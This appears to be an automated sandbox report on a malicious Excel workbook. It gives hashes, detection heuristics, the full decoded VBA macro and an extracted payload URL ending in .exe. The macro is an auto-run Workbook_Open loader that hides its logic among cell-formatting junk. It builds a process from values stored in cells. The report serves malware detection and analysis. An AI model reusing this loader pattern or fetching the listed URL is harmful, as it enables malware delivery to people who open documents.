Office (OOXML) malware analysis — malicious · d6fdbb2a6b586c2f

MALICIOUS

Office (OOXML)

51.9 KB First seen: 2021-04-01

MD5: be705b0133eaf6d117cc5ff0b304317b SHA-1: f0a37aec60b49149dcd9d569b90fce84fb5702d4 SHA-256: d6fdbb2a6b586c2f653fcb3b6d3bb28acf354936c4895c0f0d87d497aa058bf1

290 Risk Score

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set xoqjyjjrdldkgjjdmebxvrkaltnklucamiqhvrqr  = CreateObject(Range("A9").Value)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set xoqjyjjrdldkgjjdmebxvrkaltnklucamiqhvrqr  = CreateObject(Range("A9").Value)

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://shardaglobalschool.org/admin2/insert/docments_file/kMNmH2U116guRyG.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1630 bytes
SHA-256: `95ec46f882aa5589144c4772633d43e8b1f6e9386d196d7168289536b8441cc5`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A1:J22").Select Selection.Borders(xlDiagonalDown).LineStyle = xlNone Selection.Borders(xlDiagonalUp).LineStyle = xlNone With Selection.Borders(xlEdgeLeft) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With pnsbfilwzoqfzqjynmyowmaoaimtlzdwspfpwnzq = Range("A8").Value With Selection.Borders(xlEdgeTop) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Set xoqjyjjrdldkgjjdmebxvrkaltnklucamiqhvrqr = CreateObject(Range("A9").Value) With Selection.Borders(xlEdgeBottom) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Dim ncrxwhczdpqugvqbbquvcpofyilqyooihmkrxfyf With Selection.Borders(xlEdgeRight) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With ncrxwhczdpqugvqbbquvcpofyilqyooihmkrxfyf = xoqjyjjrdldkgjjdmebxvrkaltnklucamiqhvrqr.Create(pnsbfilwzoqfzqjynmyowmaoaimtlzdwspfpwnzq) End Sub Attribute VB_Name = "ubxnamzermrrigutowuanqyneiw" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `3eea80060b354f688d442e9dcf9c4ab3ac45024e80dd78df42e4284193c16cbb`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.